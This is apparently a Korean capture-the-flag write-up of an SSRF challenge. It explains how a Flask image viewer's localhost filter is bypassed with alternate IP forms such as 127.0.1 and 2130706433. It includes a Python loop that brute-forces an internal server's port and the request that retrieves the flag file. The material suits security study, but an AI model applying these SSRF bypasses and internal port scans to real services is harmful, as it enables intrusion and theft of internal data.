@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
위 코드를 보자! /img_viewer 경로로 GET 요청 시, 해당 페이지가 return 됨을 알 수 있다. 문제는 POST 요청 일 경우다. 즉 위 그림 1의 url 파라미터에 값을 넣고 요청을 보낼 경우인데, url [0]가 "/" 이면, http://localhost:8000의 뒤에 url을 이어 붙여 요청이 수행된다. 그래서 아래와 같이 /static/dream.png 요청 시, http://localhost:8000/static/dream.png 와 같은 요청이 수행되어, image가 return 된다.
urlp = urlparse()에 의해 파싱되었다. 그래서 urlp는 url의 구성 요소를 포함하는 파싱된 url 객체이다. 그리고 elif 구문을 보면, urlp 객체의 netloc 속성 값에 localhost,127.0.0.1 포함되어 있는지를 확인한다. 즉, localhost와 127.0.0.1이 필터링된다는 의미이다.
그래서 우리는 localhost(127.0.0.1)을 bypass 한 후, http://127.0.1:/ 과 같은 형태로 요청을 보내야 한다. http://127.0.1:8000/static/dream.png 요청이 정상처리되는 것을 보았고, http://127.0.1/app/flag.txt( /flag.txt ) 요청을 보내니, 404 NOT FOUND가 반환된다. 그 이유는 아래를 확인해 보자!
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
해당 코드를 통해 내부 서버가 동작 중인 것을 알 수 있다. 해당 서버에서 파일을 가져오면 될 것 같다. 그러나 random 포트이니, 포트부터 알아내보도록 하자!
import string
import random
import requests
url1 = 'http://host3.dreamhack.games:12951/img_viewer'
strp ="(생략)ZmaXguanMnKQ=="
for i in range(1500,1801):
r = requests.post(url1,data={'url':'http://2130706433:'+str(i)+'/static/js/npm.js'})
if strp in r.text:
print(i)
위와 같은 코드로 포트를 찾아냈다. /static/js/npm.js를 불러올 수 있는데, 이 경우 전달되는 image 값을 strp에 담아 비교 후 포트 번호를 찾아내는 코드이다. ( 다른 방식으로 코드를 짜도 괜찮다! )
위 코드를 통해 내부 동작 포트를 찾아냈고, http://127.0.1:1605/app/flag.txt 요청을 보내니, File을 찾을 수 없다는 에러가 return 된다. http://127.0.1:1605/flag.txt 요청을 보냈다. 그러니 flag가 return된다.